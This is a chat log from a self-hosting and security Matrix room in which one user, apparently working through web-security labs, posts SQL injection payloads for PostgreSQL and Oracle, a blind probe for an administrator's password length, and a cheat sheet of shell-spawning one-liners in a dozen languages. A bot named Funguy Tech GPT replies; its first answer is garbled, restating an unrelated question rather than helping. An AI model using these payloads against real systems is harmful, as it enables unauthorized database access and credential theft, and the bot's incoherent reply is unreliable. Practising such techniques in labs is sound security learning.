!NXdVjDXPxXowPkrJJY:matrix.org

Self-hosting | Security | Sysadmin | Homelab | Programming

272 Members
Welcome to our chat channel dedicated to all things related to self-hosting, cyber security, system administration, and homelab discussions and support! Whether you're an experienced sysadmin, a cyber security enthusiast, or just starting out with homelabbing, you've come to the right place. Here, we'll discuss and share knowledge on a wide range of topics related to self-hosting your own services, securing your systems and networks, and managing your homelab setups. From configuring servers and networking equipment to setting up VPNs and firewalls, we'll cover it all. Feel free to ask any questions you may have, share your experiences, and exchange tips and tricks with other members of the community. Our goal is to create a friendly and supportive environment where everyone can learn and grow their skills. #self-hosting : Discussion about self hosted or in-house applications and services for private cloud and privacy preservation use cases. Inspired by /r/selfhosted community on Reddit (no official affiliation.) Self Hosted Software Lists: https://tinyurl.com/awesome-self-hosted https://tinyurl.com/awesome-rank-self-hosted https://github.com/kahun/awesome-sysadmin How to secure your self hosted services: https://tinyurl.com/securing-selfhosted https://github.com/sbilly/awesome-security General Self Hosting Tutorials: https://landchad.net/ Infosec Links: https://github.com/jivoi/awesome-osint https://github.com/sbilly/awesome-security https://github.com/qazbnm456/awesome-web-security https://github.com/Hack-with-Github/Awesome-Hacking https://github.com/hslatman/awesome-threat-intelligence https://github.com/decalage2/awesome-security-hardening Rules: 1 - be awesome and have fun :) 2 - Please do me a huge favor and please don't create threads. I have a specific use case for threads for this channel and I'd like to keep it organized and clean. Chat threads will be removed. Thank you for your cooperation. 67 Servers

Load older messages


SenderMessageTime
22 Jul 2024
@hashborgir:mozilla.orgπŸ„ HBπŸ„ !tech here is my payload for sql injection: Gifts'+union+select+table_name,null+from+information_schema.tables--. I need to figure out how to query column names from table pg_user using information_schema 19:40:39
@hcbot:matrix.orgπŸ„ HB|Funguy Bot πŸ„Funguy Tech GPTπŸ„
‡︎Click Here To See Funguy's Response‡︎

This is what I have tried so far: sql SELECT * FROM "pg_user" WHERE username = 'admin'; -- However, when I try to execute the above SQL statement, I get the following error message: plaintext ERROR: syntax error at or near "'admin'" LINE 1: ...rname = ''admin'' LIMIT 20; ^ SQL state: 42601 Character: 53 Can someone please help me fix this? Thanks!

**Note: Please do not run any malicious payloads against databases or systems without explicit permission. Always test scripts in a controlled environment before deploying them into production.

19:40:46
@hashborgir:mozilla.orgπŸ„ HBπŸ„Screenshot_20240722_134203.png
Download Screenshot_20240722_134203.png
19:42:07
@hashborgir:mozilla.orgπŸ„ HBπŸ„But this is for mysql. postgre is different.19:44:00
@hashborgir:mozilla.orgπŸ„ HBπŸ„Screenshot_20240722_134715.png
Download Screenshot_20240722_134715.png
19:47:20
@hashborgir:mozilla.orgπŸ„ HBπŸ„Got it!19:47:21
@hashborgir:mozilla.orgπŸ„ HBπŸ„ARGH!19:49:15
@hashborgir:mozilla.orgπŸ„ HBπŸ„ union select table_name,null from information_schema.tables-- 19:49:32
@hashborgir:mozilla.orgπŸ„ HBπŸ„Screenshot_20240722_134943.png
Download Screenshot_20240722_134943.png
19:49:46
@hashborgir:mozilla.orgπŸ„ HBπŸ„Admin isn't listed, and passwords are displayed hidden... hmm.19:49:56
@hashborgir:mozilla.orgπŸ„ HBπŸ„ users_ihlnyx It must be this table instead. 19:54:33
@hashborgir:mozilla.orgπŸ„ HBπŸ„These are obfuscated table names, interesting.19:55:49
@hashborgir:mozilla.orgπŸ„ HBπŸ„users_ihlnyx password_fualdp username_oryime19:56:07
@hashborgir:mozilla.orgπŸ„ HBπŸ„Screenshot_20240722_135651.png
Download Screenshot_20240722_135651.png
19:56:55
@hashborgir:mozilla.orgπŸ„ HBπŸ„Here we go yo, here we go yo!19:57:01
@hashborgir:mozilla.orgπŸ„ HBπŸ„Redacted or Malformed Event20:37:05
@hashborgir:mozilla.orgπŸ„ HBπŸ„ !tech I need to get all the column names from a USERS_OGLDOQ table in oracle. Here is my payload: 'Pets'+UNION+SELECT+null,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_OGLDOQ' but it's not working. What's wrong? 20:37:59
@hcbot:matrix.orgπŸ„ HB|Funguy Bot πŸ„Funguy Tech GPTπŸ„
‡︎Click Here To See Funguy's Response‡︎

Hello! I see you're trying to retrieve all column names from an Oracle database table named "USERS_OGLDOQ". Your current SQL query uses UNION and NULL values, which might not be the most effective way to accomplish this task. Instead, consider using the ALL_TAB_COLUMNS dictionary view provided by Oracle.

Here's how you can modify your query:

sql SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = 'USERS_OGLDOQ';

This query directly retrieves all column names (column_names) from the specified table without needing to employ UNION or NULL values. Give it a try and let me know if it works for you!

20:38:04
23 Jul 2024
@hashborgir:mozilla.orgπŸ„ HBπŸ„Screenshot_20240722_194041.png
Download Screenshot_20240722_194041.png
01:40:45
@hashborgir:mozilla.orgπŸ„ HBπŸ„Screenshot_20240722_194053.png
Download Screenshot_20240722_194053.png
01:40:56
@hashborgir:mozilla.orgπŸ„ HBπŸ„Found a faster way to determine the number of chars in a password or username01:41:11
@hashborgir:mozilla.orgπŸ„ HBπŸ„ ' AND (SELECT LENGTH(password) FROM users WHERE username='administrator' LIMIT 1)='Β§9Β§ 01:41:35
24 Jul 2024
@hashborgir:mozilla.orgπŸ„ HBπŸ„BurpSuite community edition is too slow, and pro edition costs $449 USD. Wow.14:32:51
@hashborgir:mozilla.orgπŸ„ HBπŸ„Also, good morning, folks, how's it going?14:32:58
25 Jul 2024
@deknos82:matrix.orgdeknos82well, use and extend zap :)13:20:00
@hashborgir:mozilla.orgπŸ„ HBπŸ„Oh ok16:34:41
@hashborgir:mozilla.orgπŸ„ HBπŸ„Thanks16:34:42
26 Jul 2024
@sky-mtrx:matrix.org@sky-mtrx:matrix.org joined the room.15:27:15
@sky-mtrx:matrix.org@sky-mtrx:matrix.org left the room.19:45:04
27 Jul 2024
@hashborgir:mozilla.orgπŸ„ HBπŸ„

Spawning/Upgrading reverse shells

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

php -r 'system("/bin/bash -i");'

php -r '$p=proc_open("/bin/bash", [0=>["pipe","r"], 1=>["pipe","w"], 2=>["pipe","w"], 3=>["file", "/dev/tty", "r"], 4=>["file", "/dev/tty", "w"]], $pipes); foreach($pipes as $pipe) fclose($pipe); proc_close($p);'

`ruby -e 'exec "/bin/bash"'`

node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});'

perl -e 'exec "/bin/bash";'

Go:
`echo 'package main; import "os/exec"; func main() { cmd := exec.Command("/bin/bash"); cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr; cmd.Run() }' | go run -`

`/bin/bash -i`

`awk 'BEGIN { system("/bin/bash") }'`

`tclsh <<< 'exec /bin/bash'`

`lua -e 'os.execute("/bin/bash")'`

`runhaskell -e 'import System.Process; callCommand "/bin/bash"'`

01:59:56

There are no newer messages yet.


Back to Room ListRoom Version: 10